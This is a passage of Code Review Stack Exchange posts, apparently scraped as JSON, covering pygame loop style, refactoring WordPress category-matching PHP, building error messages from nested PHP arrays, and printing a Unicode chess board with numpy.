pygame.QUIT:\n break\n pygame.quit()\n</code></pre></li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T22:49:36.763", "Id": "452441", "Score": "0", "body": "I get your last point. In my opinion, having `while run:` makes it easier to understand what the loop is doing." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:34:03.693", "Id": "452452", "Score": "1", "body": "@TommyShelburne I can understand that, but you're creating an unnecessary variable to hold a boolean. With a `while True:`, you can simply `break` when needed, instead of setting the flag to `False` and maybe allowing code after it to run." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:38:59.833", "Id": "231818", "ParentId": "231805", "Score": "2" } }, { "body": "<h1><em>This answer pertains to using <code>while run</code> vs <code>while True</code>.</em></h1>\n\n<p>Lets say you have this code:</p>\n\n<pre><code>run = True\n count = 0\n while run:\n if count == 5:\n run = False\n count += 1\n print(count)\n</code></pre>\n\n<p>Simple enough code. When viewing it as this, a programmer might see that the code will stop when <code>count</code> reaches <code>5</code>. Lets look at the output:</p>\n\n<pre><code>1\n2\n3\n4\n5\n6\n</code></pre>\n\n<p>Woah, whats this? <code>6</code> was printed even though the program was supposed to stop at <code>5</code>. This happens because even though <code>run</code> is now <code>False</code>, it doesn't immediately exit the loop. This prevents the <em>next iteration</em> from running. So, any code in the rest of the loop will run regardless of what <code>run</code> is.</p>\n\n<p>Now lets look at using <code>while True</code>:</p>\n\n<pre><code>count = 0\nwhile True:\n if count == 5:\n break\n count += 1\n print(count)\n</code></pre>\n\n<p>And the output</p>\n\n<pre><code>1\n2\n3\n4\n5\n</code></pre>\n\n<p>The <code>break</code> <em>immediately</em> exits the loop, preventing <code>count</code> from being incremented a final time.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:45:16.277", "Id": "231864", "ParentId": "231805", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T02:03:32.223", "Id": "231805", "Score": "3", "Tags": [ "python", "beginner", "object-oriented", "pygame" ], "Title": "A simple Pygame that has a square move and jump" }
231805
<p>I made a simple code to improve the results for WordPress related posts area and it works fine , but because my experience in coding is low , my code is very long and i believe that there is a way to make simple and better</p> <p>here is the code :-</p> <pre><code>$cat = get_the_category(); $cat0 = $cat[0]; $cat1 = $cat[1]; $cat2 = $cat[2]; $cat3 = $cat[3]; $cat4 = $cat[4]; $cat5 = $cat[5]; $cat6 = $cat[5]; if ($cat0-&gt;cat_ID == 10 || $cat1-&gt;cat_ID == 10 || $cat2-&gt;cat_ID == 10 || $cat3-&gt;cat_ID == 10 || $cat4-&gt;cat_ID == 10 || $cat5-&gt;cat_ID == 10 || $cat6-&gt;cat_ID == 10){ $post = get_the_ID(); $args = array('cat'=&gt;10, 'orderby' =&gt; 'date', 'showposts' =&gt; $related,'post__not_in' =&gt; array($post)); } elseif ($cat0-&gt;cat_ID == 12 || $cat1-&gt;cat_ID == 12 || $cat2-&gt;cat_ID == 12 || $cat3-&gt;cat_ID == 12 || $cat4-&gt;cat_ID == 12 || $cat5-&gt;cat_ID == 12 || $cat6-&gt;cat_ID == 12){ $post = get_the_ID(); $args = array('cat'=&gt;12, 'orderby' =&gt; 'date', 'showposts' =&gt; $related,'post__not_in' =&gt; array($post)); } else { $cat = $cat[0]; $cat = $cat-&gt;cat_ID; $post = get_the_ID(); $args = array('cat'=&gt;$cat, 'orderby' =&gt; 'date', 'showposts' =&gt; $related,'post__not_in' =&gt; array($post)); } $related = new WP_Query($args); </code></pre> <p>Also, i tried to use "foreach" function but it always fails in "else" part</p> <p>Thanks</p>
[]
[ { "body": "<p>The major thing for me in this code is the repetition forms a large part of it. You can also use some of the features of PHP to stop having to move data around and comparing individual items.</p>\n\n<p>Using <a href=\"https://www.php.net/manual/en/function.array-column.php\" rel=\"nofollow noreferrer\"><code>array_column()</code></a> (this requires PHP 7+ as your input is an array of objects) to fetch all of the values of <code>cat_ID</code>, stops you having to extract the values from the objects and then compare each one individually. You can then use <code>in_array()</code> to check for each value against all of them in one call rather than the list of <code>||</code> conditions.</p>\n\n<p>Then the code setting <code>$args</code> is the same in each branch of your <code>if</code>, so I've reduced this to each branch sets <code>$cat</code> (as your last branch already does) and then this is used by the same code outside the <code>if</code>...</p>\n\n<pre><code>$cat = get_the_category();\n\n$categories = array_column($cat, \"cat_ID\");\nif ( in_array(10, $categories) ){\n $cat = 10;\n} elseif (in_array(12, $categories)){\n $cat = 12;\n} else {\n $cat = $cat[0]-&gt;cat_ID;\n}\n$post = get_the_ID();\n$args = array('cat'=&gt;$cat, 'orderby' =&gt; 'date',\n 'showposts' =&gt; $related,'post__not_in' =&gt; array($post));\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:55:07.840", "Id": "452400", "Score": "0", "body": "Can't thank you enough for your awesome code and explanation, works like a charm." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:04:29.580", "Id": "231819", "ParentId": "231806", "Score": "1" } } ]
{ "AcceptedAnswerId": "231819", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T02:18:56.023", "Id": "231806", "Score": "1", "Tags": [ "php", "wordpress" ], "Title": "Improved the output of the related posts in WordPress" }
231806
<p>I'm working with an input array, which is 3 levels deep, and creating error message strings accordingly in a separate output array. Below is the code.</p> <pre><code>$e['invalid']['key'][] = 'a123'; $e['invalid']['key'][] = 'a456'; $e['invalid']['color'][] = 'red'; $e['missing']['key'][] = 'b72'; $e['missing']['color'][] = 'blue'; $e['missing']['color'][] = 'green'; echo '&lt;pre&gt;' . print_r($e, 1) . '&lt;/pre&gt;'; function generateErrorMessages($e) { $errors; foreach ($e as $type =&gt; $array) { foreach ($array as $key =&gt; $values) { foreach ($values as $v) { switch($type) { case 'invalid': $errors[$type][$key][] = $v . ' is not a valid ' . $key; break; case 'missing': $errors[$type][$key][] = $v . ' is a required ' . $key . ' - other functions have dependencies on it'; break; default: // do nothing } } } } return $errors; } $msgs = generateErrorMessages($e); echo '&lt;pre&gt;' . print_r($msgs, 1) . '&lt;/pre&gt;'; </code></pre> <p>While this achieves the desired outcome, the nested <code>foreach</code> loops in the <code>generateErrorMessages()</code> method seem onerous and difficult to read. Is there a more concise way to generate the error messages?</p> <p>Here is a screenshot of the input array:<br> <a href="https://i.stack.imgur.com/3Wb2y.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3Wb2y.png" alt="enter image description here"></a></p> <p>Here is a screenshot of the output array:<br> <a href="https://i.stack.imgur.com/h7r5f.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/h7r5f.png" alt="enter image description here"></a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:34:31.593", "Id": "452298", "Score": "2", "body": "How do you define \"difficult to read\"? As any explicit code, all these loops are quite straightforward to follow. And making it more concise will likely make it more cryptic as well" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:47:13.070", "Id": "452373", "Score": "1", "body": "The current question title, which states your concerns about the code, is too general to be useful here. Please [edit] to the site standard, which is for the title to simply state **the task accomplished by the code**. Please see [How to get the best value out of Code Review: Asking Questions](//codereview.meta.stackexchange.com/q/2436) for guidance on writing good question titles." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:09:29.910", "Id": "452381", "Score": "1", "body": "I strongly suggest looking into JSON." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T22:08:36.380", "Id": "452439", "Score": "3", "body": "@Andrew what exactly would be the benefit of looking into JSON?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:29:34.890", "Id": "452511", "Score": "0", "body": "@mickmackusa Lots of key->value (mapped) string data, several layers deep: storing and using it as JSON would be ideal. You also then get tons of JSON library support which will help you to parse through the collection easily and intuitively. There's lots of support for e.g. (language) object <-> string JSON manipulation too, and you could use just 100% the object side if wanted. It doesn't directly address the OP's multi-loop problem, but it might help if nothing else." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:30:58.423", "Id": "452513", "Score": "0", "body": "Also, with something like JSON, you might be able to more easily create functions that loop through pieces of the collection generically, and then you could reuse these functions without having to manually go several layers deep." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T20:06:39.353", "Id": "452573", "Score": "0", "body": "Nope... I still don't see the benefit here. @Andrew" } ]
[ { "body": "<p>Before I get started with the script polishing, I just want to voice that I don't think it makes sense to bloat/hydrate your otherwise lean data storage with redundant text. If you are planning on presenting this to the end user as a means to communicate on a \"human-friendly\" level, then abandon the array-like structure and write plain English sentences.</p>\n\n<p>How can you make your code more manageable? I recommend a lookup array. This will allow you to separate your \"processing\" code from your \"config\" code. The processing part will be built \"generally\" so that it will appropriately handle incoming data based on the \"specific\" data in the lookup array.</p>\n\n<p>By declaring the lookup as a constant (because it won't vary -- it doesn't need to be a variable), the lookup will enjoy a global scope. This will benefit you if plan to write a custom function to encapsulate the processing code. IOW, you won't need to pass the lookup into your function as an argument or use [shiver] <code>global</code>.</p>\n\n<p>Now whenever you want to extend your error array-hydrating function to accommodate new <code>types</code>, <strong>you ONLY need to add a single line of code to the lookup</strong> (<code>ERROR_LOOKUP</code>) -- you never need to touch the processor. In contrast, a <code>switch</code> block will require 3 new lines of code for each new allowance. This makes scaling your script much easier, cleaner, and more concise.</p>\n\n<p>Code: (<a href=\"https://3v4l.org/vr83e\" rel=\"nofollow noreferrer\">Demo</a>)</p>\n\n<pre><code>define(\"ERROR_LOOKUP\", [\n 'invalid' =&gt; '%s is not a valid %s',\n 'missing' =&gt; '%s is a required %s - other functions have dependencies on it',\n]);\n\n$errors = [];\nforeach ($e as $type =&gt; $subtypes) {\n if (!isset(ERROR_LOOKUP[$type])) {\n continue;\n }\n foreach ($subtypes as $subtype =&gt; $entry) { \n foreach ($entry as $string) {\n $errors[] = sprintf(ERROR_LOOKUP[$type], $subtype, $string);\n }\n }\n}\necho implode(\"\\n\", $errors);\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>a123 is not a valid key\na456 is not a valid key\nred is not a valid color\nb72 is a required key - other functions have dependencies on it\nblue is a required color - other functions have dependencies on it\ngreen is a required color - other functions have dependencies on it\n</code></pre>\n\n<p>Your output strings may have static text on either/both sides of the <code>$subtype</code> value, so <code>sprintf()</code> makes the variable insertion very clean and flexible. Credit to @NigelRen for suggesting this improvement to my snippet.</p>\n\n<p>The <code>continue</code> in the outermost loop ensures that no wasted iteration occurs on deadend array data. No \"do nothing\" outcomes on inner loops. Alternatively, you could use <code>array_intersect_key()</code> to replace the conditional <code>continue</code> (<a href=\"https://3v4l.org/pe4G9\" rel=\"nofollow noreferrer\">Demo</a>).</p>\n\n<p>p.s. I have a deep-seated hatred for <code>switch</code> block syntax with so many <code>break</code> lines. This is why I often replace them with lookup arrays.</p>\n\n<p>p.p.s. If you are writing an OOP structured script/project, see @slepic's post.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:33:21.113", "Id": "452297", "Score": "0", "body": "Well if it's supposed to be returned in response to AJAX call, \"littering\" seems to be quite a standard approach" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T22:07:39.543", "Id": "452438", "Score": "0", "body": "I don't see anything to suggest that the OP is generating an AJAX response." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T00:43:45.377", "Id": "452446", "Score": "1", "body": "@mickmackusa This is an awesome way to replace the `switch` statement! Prior to using the `switch` block I had experimented with using `$message['invalid'] = $v . ' is not a valid ' . $key; $message['missing'] = $v . ' is a required ' . $key . ' - other functions have dependencies on it'; $errors[$type][$key][] = $message[$type];` in the innermost `foreach` loop. I abandoned that because it didn't seem right to create the `$messages` array for every single pass through the loop. Your solution rectifies that issue AND the lookup's values are strings instead of variables. Utterly brilliant!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T00:50:42.007", "Id": "452447", "Score": "0", "body": "Yet you accept another review? Okay." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:19:16.043", "Id": "452450", "Score": "0", "body": "Only because the other one directly addressed the original question about the nested `foreach` loops. The intention originally was to try and find a more concise way to achieve the outcome without that approach. I had wondered about `array_walk` and `array_map` but neither of those were suggested. Your response about replacing the `switch` was a bonus." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:29:10.653", "Id": "452451", "Score": "0", "body": "I am focussing on this quote from your question: _Is there a more concise way to generate the error messages?_ I say, Yes, and I have shown how to make your script scalable. No worries, I'm not going to get hostile about it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:43:47.470", "Id": "452543", "Score": "0", "body": "Replacing a switch by an array is a good idea in some cases, and in some cases it is not. In the OP's case, it should be good as long as all the messages contain two `%s`s in appropriate order. BUT putting the stuff in global constants is a terrible idea. The data and the behaviour can and should be encapsulated in a class." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:29:14.657", "Id": "231821", "ParentId": "231810", "Score": "6" } }, { "body": "<p>In my opinion, this code is all right. As any explicit code, these loops are quite straightforward to follow. And making it more concise will likely make it more cryptic as well. I would only make a minor brush-up, removing the unnecessary default clause and make the proper indentation. Variable interpolation is also more natural to read, in my opinion.</p>\n\n<p>Also, variables must be explicitly initialized, just a mention is not enough. If you need an empty array then you must initialize an empty array. Although in the present code the <code>$errors</code> variable doesn't exist before the loop, the code could evolve over time, and there could be the possibility that a variable with the same name will be used above. If you just mention it, as <code>$errors;</code> it will keep the previous value. If you initialize it as <code>$errors = [];</code> you will always know it's an empty array. </p>\n\n<pre><code>function generateErrorMessages($e)\n{\n $errors = [];\n foreach ($e as $type =&gt; $array)\n {\n foreach ($array as $key =&gt; $values)\n { \n foreach ($values as $v)\n {\n switch($type)\n {\n case 'invalid':\n $errors[$type][$key][] = \"$v is not a valid $key\";\n break;\n case 'missing':\n $errors[$type][$key][] = \"$v is a required $key - other functions have dependencies on it\";\n break;\n }\n }\n }\n }\n return $errors;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:52:49.510", "Id": "452399", "Score": "0", "body": "Can you expound on the comment that variables must be explicitly initialized?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:56:44.007", "Id": "452401", "Score": "3", "body": "That's simple. If you need an empty array then you must initialize an empty array. Although in the present code the $errors variable doesn't exist before the loop, the code could evolve over time, and there could be the possibility that an array with the same name will have some contents. If you just mention it, as `$errors;` it will keep the previous value. If you initialize it as `$errors = [];` you wull always know it's an empty array." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:19:34.610", "Id": "452551", "Score": "0", "body": "Can you edit that into your answer? Thank you." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T09:18:03.603", "Id": "231822", "ParentId": "231810", "Score": "10" } }, { "body": "<p>I agree with what \"Your Common Sense\" said, but I would like to have better variable names. Names that make clear what a variable contains. Seen in isolation variable names like <code>$e</code>, <code>$array</code> and <code>$v</code> don't really convey what they contain. Abbreviated variable names don't make your code easier to read. Also <code>$errors</code> does contain errors, but more precisely it contains error messages. So, I would write this as:</p>\n\n<pre><code>function convertToErrorMessages($errors)\n{\n $errorMessages = [];\n foreach ($errors as $errorType =&gt; $error)\n {\n foreach ($error as $property =&gt; $values)\n { \n $valueMessages = []; \n foreach ($values as $value)\n {\n switch($errorType)\n {\n case 'invalid':\n $valueMessages[] = \"$value is not a valid $property\";\n break;\n case 'missing':\n $valueMessages[] = \"$value is a required $property\".\n \" - other functions have dependencies on it\";\n break;\n }\n }\n $errorMessages[$errorType][$property] = $valueMessages;\n }\n }\n return $errorMessages;\n}\n</code></pre>\n\n<p>Note that I also collect all the value messages before assigning them to the error messages array. This prevents code repetition, especially when you have many error types. I also don't like long long lines, so I split those.</p>\n\n<p>One thing I sometimes do when there are many nested braces, is leaving out braces that will never be useful. Like this:</p>\n\n<pre><code>function convertToErrorMessages($errors)\n{\n $errorMessages = [];\n foreach ($errors as $errorType =&gt; $error)\n foreach ($error as $property =&gt; $values)\n { \n $valueMessages = []; \n foreach ($values as $value)\n switch($errorType)\n {\n case 'invalid':\n $valueMessages[] = \"$value is not a valid $property\";\n break;\n case 'missing':\n $valueMessages[] = \"$value is a required $property\".\n \" - other functions have dependencies on it\";\n break;\n }\n $errorMessages[$errorType][$property] = $valueMessages;\n }\n return $errorMessages;\n}\n</code></pre>\n\n<p>This might not be to everyones liking, but I think it is acceptable or even slightly easier to read.</p>\n\n<p>I also had a look as \"mickmackusa\" solution. A lookup array can make sense, for instance when you're using multiple languages. Also, the idea to separate the configuration from the processor code is a valid one, but for now it only seems to complicate the code (PS: mickmackusa updated his answer and it looks a lot better now).</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:51:53.460", "Id": "452313", "Score": "4", "body": "In your second example, although I am not a fan of missing out braces just for the sake of it, the lack of indentation of the `switch` makes the code worse IMHO." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:13:42.297", "Id": "452407", "Score": "1", "body": "I think this is the purpose of comments. Renaming every variable name to >10 characters makes typing code take much longer on large projects, and in most cases short names work. If not, just use a comment. Typing `errorMessages` each time in a large project would be seriously annoying, especially when something like `eMsgs` or `msgs` would work just as well." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T23:13:01.703", "Id": "452442", "Score": "0", "body": "@RedwolfPrograms I do understand that long names can require more typing, but for me clarity and readability of code is more important. The worst example I came across recently is the [CAMT.053 file format](https://www.sepaforcorporates.com/swift-for-corporates/a-practical-guide-to-the-bank-statement-camt-053-format/), they abbreviate everything. Things like `CdtDbtInd`, `AddtlInfInd`, `PmtInfId`, `RltdPties` and so on. My point is: It might be clear to the author what these cryptic things mean, to someone new to the code they're not." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T06:40:49.107", "Id": "452455", "Score": "0", "body": "@redwolf programs long variable bames shouldnt bother you. You should use some IDE And IDEs Will autocomplete the name after you type few chars. Readability should be prefered." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:23:18.630", "Id": "452494", "Score": "0", "body": "@KIKOSoftware That's why I mentioned comments. `$AddtlInfInd; //Addition Info Indicator` would be better IMO than `$additionalInfoIndicator`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:28:28.503", "Id": "452496", "Score": "0", "body": "@slepic I use a text editor, not an IDE, like many people. And, with a comment and some easily guessable abbreviations, it's still just as readable. In my opinion, long variable names are _less_ readable, since I have to read the whole thing instead of a 3-5 character abbreviation whose purpose I already know/read in a previous comment. Especially in something like this question with only a few variables and a clear purpose for the function, short but still readable (`err`, `msg`, `data`, `i`, `eMsg`, etc.) variable names make the function seem more readable to me since it's shorter." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:43:03.580", "Id": "452498", "Score": "0", "body": "@RedwolfPrograms comments get outdated, variables dont. If you wanna write programs like a professional, you should use an IDE. The purpose of abbreviated name is clear to you - the author of the code, but you can be sure it won't always be clear to someone else who is seeing the code for the first time. In fact it may not be clear even to you if you leave that code for some time and come back to it months later. If you are writing code for yourself, do whatever you want if you find it better. But if you hope your code is going to be read by others one day, use long names with clear meaning." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T14:31:48.840", "Id": "452505", "Score": "0", "body": "@slepic Comments don't become outdated if they only contain a variable's name, and most people are going to realize the meaning of `err`, `msg`, `arr`, etc." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:46:50.423", "Id": "452525", "Score": "0", "body": "@RedwolfPrograms As i said, do what you want with your code. If you find it better. It's your problem. But believe me, once your commits need to be approved by someone else (opensource project maintaner, your senior collegue, etc..) before they are accepted, you will very likely be asked to improve the variable names otherwise your changes will be rejected... Btw i realize meaning of `err` and `msg` but i have no idea what `arr` is..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:12:12.613", "Id": "452530", "Score": "0", "body": "@slepic `arr` is short for `array`. That's pretty widely used, at least in JS" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:16:24.103", "Id": "452533", "Score": "0", "body": "@RedwolfPrograms lol, of course. But array is the type of the variable, not its meaning." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:17:29.653", "Id": "452535", "Score": "0", "body": "@slepic In a function which converts an array into a string, `arr` would be a perfectly acceptable variable name" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:21:17.463", "Id": "452537", "Score": "0", "body": "@RedwolfPrograms Not if I'm reviewing your code :) Howgh. Good bye." } ], "meta_data": { "CommentCount": "13", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:37:26.873", "Id": "231828", "ParentId": "231810", "Score": "9" } }, { "body": "<p>I know this question has already been answered. But what I am showing here is just response to mickmackusa's answer, which OP called a \"bonus\". And so let OP and everyone wandering here in future can see one possible way to avoid spoiling global scope with constants as shown in mickmackusa's answer. The code below is his solution encapsulated in a static class:</p>\n\n<pre><code>final class ErrorMessagesConverter\n{\n private static $lookupTable = [\n 'invalid' =&gt; '%s is not a valid %s',\n 'missing' =&gt; '%s is a required %s - other functions have dependencies on it',\n ];\n\n private function __construct() {};\n\n public static function convert(iterable $input): array\n {\n $errors = [];\n foreach ($input as $type =&gt; $subtypes) {\n if (!\\array_key_exists($type, self::lookupTable)) {\n continue;\n }\n foreach ($subtypes as $subtype =&gt; $entry) { \n foreach ($entry as $string) {\n $errors[] = sprintf(self::lookupTable[$type], $subtype, $string);\n }\n }\n }\n return $errors;\n }\n}\n</code></pre>\n\n<p>Shall I add that every <code>$subtypes</code> and <code>$entry</code> should be checked for being iterable before actualy iterating them...</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T22:41:33.473", "Id": "452593", "Score": "0", "body": "Fair enough. If the OP would have made any indication that their script/project was OOP designed, I may have suggested a class too. In my opinion `isset()` is more ideal for the continue check because 1. it is slightly faster and 2. it will `continue` if an existing key's value is `null` (`null` is not iterable anyhow). May I ask why you bothered declaring the empty constructor? (+1) ...p.s. Duh, I don't know why I used `in_array()`, I'm always pushing for key-based lookups -- I'll fix that now with `isset()`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T06:51:31.240", "Id": "452615", "Score": "1", "body": "@mickmackusa well, it doesnt have to be OOP and yet no global constants involved. That would be a global function with static local variable. Another option would be an instantiable class where you could actualy define the message templates upon construction... But I understand your point... As for isset vs array_key_exists, yeah definitely could be I wasnt really thinking about this. I just replaced in_array to avoid two variables. And as for the private constructor, yeah, definitely not necesary. It's just in those rare cases when I define static class I make sure noone tries instantiate it." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:33:37.567", "Id": "231913", "ParentId": "231810", "Score": "1" } } ]
{ "AcceptedAnswerId": "231822", "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T03:06:41.493", "Id": "231810", "Score": "4", "Tags": [ "php", "array", "iteration" ], "Title": "Forming error messages from a multidimensional associative array" }
231810
<p>Let me preface this by detailing some of my design philosophy. The intent is to view the board from the perspective of the active player. Player moves are also factored into the design. When determining move logic, all that needs to happen is comparing against <code>'0'</code>. For checking the whiteness or blackness of a piece, <code>ord(c) % 265</code> should help by pulling the remainder and checking if it's in <code>range(4,10)</code> or <code>range(10,16)</code>. Anyway, any optimizations and critique is welcome! I'm particularly interested if it involves <code>numpy</code>, <code>scipy</code> | bitwise operators.</p> <p><strong>chess.py</strong></p> <pre class="lang-py prettyprint-override"><code>import numpy as np chrs = { 'b_checker': u'\u25FB', 'b_pawn': u'\u265F', 'b_rook': u'\u265C', 'b_knight': u'\u265E', 'b_bishop': u'\u265D', 'b_king': u'\u265A', 'b_queen': u'\u265B', 'w_checker': u'\u25FC', 'w_pawn': u'\u2659', 'w_rook': u'\u2656', 'w_knight': u'\u2658', 'w_bishop': u'\u2657', 'w_king': u'\u2654', 'w_queen': u'\u2655' } def get_checkers(): bw_row = [chrs['b_checker'], chrs['w_checker']]*4 bw_checkers = [] for i in range(8): bw_checkers.append(bw_row if i % 2 == 0 else bw_row[::-1]) bw_checkers = np.array(bw_checkers) wb_checkers = bw_checkers[::-1] return {'W': wb_checkers, 'B': bw_checkers} def get_board(): def get_army(user): u = user.lower() guard = [chrs[u+'_rook'], chrs[u+'_knight'], chrs[u+'_bishop']] rear = guard + [chrs[u+'_king'], chrs[u+'_queen']] + guard[::-1] front = [chrs[u+'_pawn']]*8 if user == 'B': return [rear, front] else: # since white moves first return [front, rear] board = [squad for squad in get_army('B')] for _ in range(4): board.append(['0']*8) board += get_army('W') return np.array(board) def print_board(board, checkers, user): chks = checkers[user] temp = board.copy() if user == 'W' else board.copy()[::-1] for i, row in enumerate(temp): for j, c in enumerate(row): print('', chks[i][j] if c == '0' else c, end='', flush=True) print() if __name__ == "__main__": checkers = get_checkers() board = get_board() user = 'W' print_board(board, checkers, user) </code></pre> <p><strong><em>Present Output:</em></strong></p> <p><em>White's Perspective</em></p> <p><a href="https://i.stack.imgur.com/Grrou.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Grrou.jpg" alt="white"></a></p> <blockquote> <pre><code>♜ ♞ ♝ ♚ ♛ ♝ ♞ ♜ ♟ ♟ ♟ ♟ ♟ ♟ ♟ ♟ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ♙ ♙ ♙ ♙ ♙ ♙ ♙ ♙ ♖ ♘ ♗ ♔ ♕ ♗ ♘ ♖ </code></pre> </blockquote> <p><em>Black's Perspective</em></p> <p><a href="https://i.stack.imgur.com/SYh7R.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SYh7R.jpg" alt="black"></a></p> <blockquote> <pre><code>♖ ♘ ♗ ♔ ♕ ♗ ♘ ♖ ♙ ♙ ♙ ♙ ♙ ♙ ♙ ♙ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◼ ◻ ◼ ◻ ◼ ◻ ◼ ◻ ♟ ♟ ♟ ♟ ♟ ♟ ♟ ♟ ♜ ♞ ♝ ♚ ♛ ♝ ♞ ♜ </code></pre> </blockquote>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:57:19.207", "Id": "452378", "Score": "0", "body": "The board should be with a white square in the bottom right corner, and the white king on the right, so the black representation is correct, the white one is mirrored. https://en.wikipedia.org/wiki/Chess" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:49:28.893", "Id": "452385", "Score": "0", "body": "@MaartenFabré Ah, I see now. The L-R diagonal should be black, while the R-L diagonal should be white. A 180 rotation should yield the same checker state." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T22:13:07.227", "Id": "452440", "Score": "2", "body": "I recommend using background/foreground color ANSI escape codes for terminal emulators" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:15:28.170", "Id": "452449", "Score": "1", "body": "@MichałKrzysztofFeiler You mean using something like this: https://stackoverflow.com/questions/12492810/python-how-can-i-make-the-ansi-escape-codes-to-work-also-in-windows" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:44:06.957", "Id": "452453", "Score": "0", "body": "@T145 yes that's what I meant" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T08:25:23.973", "Id": "452460", "Score": "0", "body": "If you can output VT100 terminal codes (which most consoles allow), you can use background color codes to make the pieces appear on top of the appropriate white or black square." } ]
[ { "body": "<h1>Piece dictionary</h1>\n\n<p><code>chrs</code> is a very generic name. Since this is all about chess, you should be more specific by calling it something like <code>PIECES</code> or <code>ELEMENTS</code>. I chose to capitalize the name because you are using it as a module level constant, <a href=\"https://www.python.org/dev/peps/pep-0008/#constants\" rel=\"noreferrer\">which according to PEP8 should have capitalized names</a>.</p>\n\n<p>Also instead of <code>&lt;color prefix&gt;_&lt;piece name&gt;</code>, it might be more elegant to have a \"two-stage\" dictionary, like</p>\n\n<pre><code>ELEMENTS = {\n 'b': {\n 'checker': u'\\u25FB',\n 'pawn': u'\\u265F',\n 'rook': u'\\u265C',\n 'knight': u'\\u265E',\n 'bishop': u'\\u265D',\n 'king': u'\\u265A',\n 'queen': u'\\u265B',\n },\n 'w': {\n 'checker': u'\\u25FC',\n 'pawn': u'\\u2659',\n 'rook': u'\\u2656',\n 'knight': u'\\u2658',\n 'bishop': u'\\u2657',\n 'king': u'\\u2654',\n 'queen': u'\\u2655'\n }\n}\n</code></pre>\n\n<p>Using this approach would help you to get rid of all the string concatenation in order to access the correct elements of the dictionary. With this approach the access would be like 